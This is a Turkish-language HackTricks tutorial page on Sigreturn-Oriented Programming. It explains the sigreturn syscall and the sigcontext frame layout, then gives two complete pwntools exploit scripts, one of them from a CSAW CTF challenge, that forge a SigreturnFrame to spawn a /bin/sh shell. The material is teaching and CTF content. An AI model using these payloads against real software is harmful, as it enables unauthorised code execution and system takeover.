SROP - Sigreturn-Oriented Programming

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Sigreturn, özellikle bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlik yapmak için kullanılan özel bir sistem çağrısıdır. Sinyaller, genellikle olağanüstü bir durumun meydana geldiğini belirtmek için işletim sistemi tarafından bir programa gönderilen kesintilerdir. Bir program bir sinyal aldığında, mevcut çalışmasını geçici olarak durdurur ve sinyali bir sinyal işleyici ile işlemek üzere tasarlanmış özel bir işlevle ele alır.

Sinyal işleyicisi işini bitirdikten sonra, programın önceki durumuna geri dönmesi gerekir, sanki hiçbir şey olmamış gibi. İşte burada sigreturn devreye girer. Programı, sinyal işleyicisinden geri dönmeye ve sinyal işleyicisi tarafından kullanılan yığın çerçevesini (işlev çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yüklemeye yardımcı olur.

İlginç olan kısım, sigreturn'un programın durumunu nasıl geri yüklediğidir: bunu yaparak, CPU'nun tüm kayıt değerlerini yığında depolar. Sinyal artık engellenmediğinde, sigreturn bu değerleri yığından çıkarır, CPU'nun kayıtlarını etkin bir şekilde sinyal işlendiğinden önceki durumlarına sıfırlar. Bu, mevcut yığının en üstüne işaret eden yığın işaretçisi kaydını (RSP) de içerir.

Bir ROP zincirinden sigreturn sistem çağrısını çağırarak ve yığında yüklemek istediğimiz kayıt değerlerini ekleyerek tüm kayıt değerlerini kontrol etmek ve bu nedenle örneğin /bin/sh ile execve sistem çağrısını çağırmak mümkündür.

Dikkat edin, bu, diğer Ret2syscall'ları çağırmayı kolaylaştıran bir tür Ret2syscall olacaktır:

pageRet2syscall

Merak ediyorsanız, bu, daha sonra değerleri kurtarmak için yığında depolanan sigcontext yapısı'dır (şemaya buradan bakın):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Daha iyi bir açıklama için aşağıdaki linke bakabilirsiniz:

Örnek

Bir örnek bulabilirsiniz burada burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya 0xf değeri yerleştirilmiştir), ancak bu oradan gelen son saldırıdır:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Ayrıca buradan exploit'u kontrol edin, burada ikili zaten sigreturn çağırıyordu ve bu nedenle bunu bir ROP ile oluşturmak gerekli değil:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Diğer Örnekler ve Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated